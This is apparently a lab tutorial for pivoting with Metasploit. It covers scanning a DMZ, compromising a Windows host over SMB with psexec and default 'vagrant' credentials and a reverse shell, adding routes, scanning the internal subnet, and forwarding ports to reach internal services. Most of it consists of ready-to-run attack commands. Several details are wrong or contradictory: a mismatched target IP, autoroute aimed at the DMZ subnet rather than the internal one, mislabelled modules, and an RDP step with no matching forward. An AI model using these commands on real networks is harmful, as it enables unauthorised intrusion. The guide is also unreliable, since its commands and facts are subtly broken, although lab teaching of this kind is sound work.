Pivoting Using Metasploit Framework: Detailed Guide 

1. Introduction 

Pivoting is a crucial technique in penetration testing that allows attackers to access internal networks that are not directly reachable from their attacking machine. This guide covers step-by-step instructions on how to use Metasploit Framework to achieve pivoting, including all necessary commands. 

2. Lab Setup 

Virtual Machines Required: 

• Kali Linux (Attacker Machine) 

• Windows  (Pivot Machine) – Connected to both DMZ and Internal Network 

• Basic Pentesting 1 (Internal Network Machine) 

Kali linux : https://cdimage.kali.org/kali-2025.1a/kali-linux-2025.1a-virtualbox-amd64.7z 

Windows : https://drive.google.com/uc?id=1-cDEpDRl5_-QWBU8Ckpp_Zep-1-9-EY4&export=download 

Basic Pentesting 1: https://download.vulnhub.com/basicpentesting/basic_pentesting_1.ova 

Network Configuration: 

Network	IP Range	Machine
DMZ	192.168.56.0/24	Kali Linux & Metasploitable-3
Internal	192.168.138.0/24	Windows  & Basic Pentesting 1

The attacker’s Kali Linux machine has access only to the DMZ network, while the target Basic Pentesting 1 machine is in the internal network and not directly accessible. 

3. Step-by-Step Exploitation and Pivoting Process 

Step 1: Scanning and Identifying the Pivot Host 

1. Identify available machines in the DMZ network using nmap: 

2. netdiscover  

3. Scan open ports on Metasploitable-3: 

4. nmap -p- 192.168.56.101 –open 

5. Identify SMB service: 

6. nmap -p 445 –script smb-os-discovery 192.168.56.101 

Step 2: Exploiting the Windows  Machine 

1. Open Metasploit: 

2. msfconsole 

3. Select and configure the psexec module to exploit SMB: 

4. use exploit/windows/smb/psexec 

5. set RHOSTS 192.168.50.101 

6. set SMBUser vagrant 

7. set SMBPass vagrant 

8. set LHOST eth0 

9. set LPORT 4444 

10. exploit 

11. Once exploited, verify access: 

12. sysinfo 

13. ipconfig 

Expected Output: Should show network interfaces connected to both DMZ and Internal Network. 

Step 3: Setting Up Pivoting (Autoroute) 

1. Background the session: 

2. background 

3. Check existing sessions: 

4. sessions -i 

5. Use the autoroute module: 

6. use post/multi/manage/autoroute 

7. set SESSION 1 

8. set SUBNET 192.168.56.0/24 

9. run 

10. Verify routing setup: 

11. route print 

Step 4: Scanning the Internal Network 

1. Ping sweep to find active hosts: 

2. use auxiliary/scanner/discovery/arp_sweep 

3. set RHOSTS 192.168.138.0 /24 

4. run 

5. Scan open ports on discovered internal hosts: 

6. use post/multi/gather/ping_sweep 

7. set RHOSTS 192.168.138.0/24 

8. set SESSION 1 

9. run 

Step 5: Exploiting the Internal Network 

1. Use Metasploit’s  to attack an internal host: 

2. use auxiliary/scanner/portscan/tcp 

3. set RHOSTS 192.168.138.103 

4. run 

Step 6: Port Forwarding (Access Internal Services) 

1. Forward an internal web server port to the attacker’s machine: 

2. sessions -i  1 

3. portfwd add -l 8080 -p 80 -r 192.168.138.103 

4. portfwd add -l 2222 -p 22 -r 192.168.138.103 

5. Now, access the internal web server at http://127.0.0.1:8080 on Kali. 

Then use Remote Desktop Client: 

rdesktop 127.0.0.1 

4. Summary & Key Takeaways 

• Pivoting allows access to networks that are not directly reachable from the attacker’s machine. 

• Metasploit’s autoroute module is used to establish network routes via a compromised host. 

• Port forwarding enables access to internal services through a pivot machine. 

• Scanning and enumeration of the internal network are crucial before exploitation. 

This guide provides a structured approach to pivoting, ensuring complete network compromise through an efficient and tactical penetration testing methodology.